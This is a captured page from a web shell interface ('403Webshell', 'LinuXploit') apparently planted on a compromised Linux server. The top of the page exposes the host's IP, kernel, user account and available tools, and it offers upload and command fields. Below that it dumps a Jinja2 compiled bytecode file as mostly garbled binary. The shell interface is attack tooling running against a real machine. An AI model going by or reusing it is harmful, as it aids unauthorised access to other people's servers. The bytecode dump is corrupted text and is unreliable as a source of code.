403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/jinja2/__pycache__/idtracking.cpython-39.pyc
a

�`�#�@spddlmZddlmZdZdZdZdZddd	�Zdd
d�Z	Gdd
�d
e
�ZGdd�de�ZGdd�de�Z
dS)�)�	iteritems)�NodeVisitor�param�resolve�aliasZ	undefinedNcCs*t|d�}t|�}|D]}|�|�q|S�N)�parent)�Symbols�FrameSymbolVisitor�visit)�nodes�parent_symbols�sym�visitor�node�r�5/usr/lib/python3.9/site-packages/jinja2/idtracking.py�find_symbols
s

rcCst|d�}|�|�|Sr)r	�analyze_node)rr
rrrr�symbols_for_nodes

rc@sxeZdZddd�Zdd�Zddd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)r	NcCsD|dur |durd}n
|jd}||_||_i|_i|_t�|_dS)N�r)�levelr�refs�loads�set�stores)�selfrrrrr�__init__s
zSymbols.__init__cKst|�}|j|fi|��dS�N)�RootVisitorr)rr�kwargsrrrrr%szSymbols.analyze_nodecCs.d|j|f}||j|<|dur*||j|<|S)Nzl_%d_%s)rrr)r�name�loadZidentrrr�_define_ref)s


zSymbols._define_refcCs.||jvr|j|S|jdur*|j�|�SdSr)rr�	find_load)r�targetrrrr$0s


zSymbols.find_loadcCs.||jvr|j|S|jdur*|j�|�SdSr)rr�find_ref�rr!rrrr&6s


zSymbols.find_refcCs"|�|�}|durtd|��|S)NzITried to resolve a name to a reference that was unknown to the frame (%r))r&�AssertionError)rr!�rvrrr�ref<s
��zSymbols.refcCsBt�|j�}|j�|j�|j��|_|j��|_|j��|_|Sr)	�object�__new__�	__class__�__dict__�updater�copyrr)rr)rrrr0EszSymbols.copycCs`|j�|�||jvr\|jdurJ|j�|�}|durJ|j|t|fd�dS|j|tdfd�dS�N)r")r�addrrr&r#�VAR_LOAD_ALIAS�VAR_LOAD_UNDEFINED)rr!Z	outer_refrrr�storeMs

z
Symbols.storecCs|j�|�|j|tdfd�Sr1)rr2r#�VAR_LOAD_PARAMETERr'rrr�declare_parameter_szSymbols.declare_parametercCs(|�|�}|dur$|j|t|fd�dSr1)r&r#�VAR_LOAD_RESOLVE)rr!r%rrrr"cs
zSymbols.loadc	Cs�i}|D]0}|jD]$}||jvr"q|�|d�d||<qq|D].}|j�|j�|j�|j�|j�|j�q>t|�D]l\}}|t|�kr�qv|�|�}|dus�Jd��|jdur�|j�|�}|dur�t	|f|j|<qvt
|f|j|<qvdS)Nrrzshould not happen)r�getrr/rr�lenr&rr3r8)	rZbranch_symbolsr�branchr%rr!Zbranch_countZouter_targetrrr�
branch_updatehs*



zSymbols.branch_updatecCs>i}|}|dur:|jD]}||vr|�|�||<q|j}q|Sr)rr&r)rr)rr!rrr�dump_stores�s
zSymbols.dump_storescCsHt�}|}|durDt|j�D]\}\}}|tkr|�|�q|j}q
|Sr)rrrr6r2r)rr)rr%Zinstr�_rrr�dump_param_targets�szSymbols.dump_param_targets)NN)N)�__name__�
__module__�__qualname__rrr#r$r&r*r0r5r7r"r<r=r?rrrrr	s

	
r	c@sjeZdZdd�Zdd�ZeZZZZZ	Z
Zdd�Zdd�Z
d	d
�Zddd
�Zdd�Zdd�ZdS)rcCst|�|_dSr)r
�sym_visitor�r�symbolsrrrr�szRootVisitor.__init__cKs|��D]}|j�|�qdSr�Ziter_child_nodesrCr�rrr �childrrr�
_simple_visit�szRootVisitor._simple_visitcKs|jD]}|j�|�qdSr��bodyrCrrGrrr�visit_AssignBlock�s
zRootVisitor.visit_AssignBlockcKs"|jdd�D]}|j�|�qdS)N)�call)�excluderFrGrrr�visit_CallBlock�szRootVisitor.visit_CallBlockcKs|jD]}|j�|�qdSrrJrGrrr�visit_OverlayScope�s
zRootVisitor.visit_OverlayScoperKcKs�|dkr"|jj|jdd�|j}nN|dkr2|j}n>|dkrh|jj|jdd�|jdurd|j�|j�dStd��|pvdD]}|j�|�qxdS)NrKT)�store_as_param�else�testzUnknown for branchr)rCrr%rK�else_rS�RuntimeError)rrZ
for_branchr r;�itemrrr�	visit_For�s
zRootVisitor.visit_ForcKs4|jD]}|j�|�q|jD]}|j�|�qdSr)�targetsrCrrK)rrr r%rHrrr�
visit_With�s

zRootVisitor.visit_WithcOstd|jj��dS)NzCannot find symbols for %r)�NotImplementedErrorr-r@)rr�argsr rrr�
generic_visit�s
�zRootVisitor.generic_visitN)rK)r@rArBrrIZvisit_Template�visit_Block�visit_Macro�visit_FilterBlock�visit_Scope�visit_IfZvisit_ScopedEvalContextModifierrLrOrPrWrYr\rrrrr�s&
�����
rc@s�eZdZdZdd�Zd$dd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#S)%r
zA visitor for `Frame.inspect`.cCs
||_dSr)rErDrrrr�szFrameSymbolVisitor.__init__FcKsT|s|jdkr|j�|j�n2|jdkr8|j�|j�n|jdkrP|j�|j�dS)z2All assignments to names go through this function.rr5r"N)�ctxrEr7r!r5r")rrrQr rrr�
visit_Name�s

zFrameSymbolVisitor.visit_NamecKs|j�|j�dSr)rEr"r!�rrr rrr�visit_NSRef�szFrameSymbolVisitor.visit_NSRefcsb�j|jfi����j����fdd�}||j�}||j�}||jpHd�}�j�|||g�dS)Ncs4����_}|D]}�j|fi���q��_|Sr)r0rEr)rr)Zsubnode�r Zoriginal_symbolsrrr�inner_visit�s
z0FrameSymbolVisitor.visit_If.<locals>.inner_visitr)rrSrErKZelif_rTr<)rrr rgZbody_symbolsZelif_symbolsZelse_symbolsrrfrra�s

zFrameSymbolVisitor.visit_IfcKs|j�|j�dSr)rEr5r!rdrrrr^�szFrameSymbolVisitor.visit_MacrocKs$|j|fi|��|j�|j�dSr)r\rEr5r%rdrrr�visit_Import�szFrameSymbolVisitor.visit_ImportcKsJ|j|fi|��|jD],}t|t�r8|j�|d�q|j�|�qdS)Nr)r\�names�
isinstance�tuplerEr5)rrr r!rrr�visit_FromImport�s


z#FrameSymbolVisitor.visit_FromImportcKs,|j|jfi|��|j|jfi|��dS)z'Visit assignments in the correct order.N)rrr%rdrrr�visit_AssignszFrameSymbolVisitor.visit_AssigncKs|j|jfi|��dS)zqVisiting stops at for blocks.  However the block sequence
        is visited as part of the outer scope.
        N)r�iterrdrrrrWszFrameSymbolVisitor.visit_ForcKs|j|jfi|��dSr)rrMrdrrrrO
sz"FrameSymbolVisitor.visit_CallBlockcKs|j|jfi|��dSr)r�filterrdrrrr_sz$FrameSymbolVisitor.visit_FilterBlockcKs|jD]}|�|�qdSr)�valuesr)rrr r%rrrrYs
zFrameSymbolVisitor.visit_WithcKs|j|jfi|��dS)zStop visiting at block assigns.N)rr%rdrrrrLsz$FrameSymbolVisitor.visit_AssignBlockcKsdS)zStop visiting at scopes.Nrrdrrrr`szFrameSymbolVisitor.visit_ScopecKsdS)zStop visiting at blocks.Nrrdrrrr]szFrameSymbolVisitor.visit_BlockcKsdS)z!Do not visit into overlay scopes.NrrdrrrrP!sz%FrameSymbolVisitor.visit_OverlayScopeN)F)r@rArB�__doc__rrcrerar^rhrlrmrWrOr_rYrLr`r]rPrrrrr
�s"
	r
)N)N)Z_compatrrrr6r8r3r4rrr+r	rr
rrrr�<module>s

8

Youez - 2016 - github.com/yon3zu
LinuXploit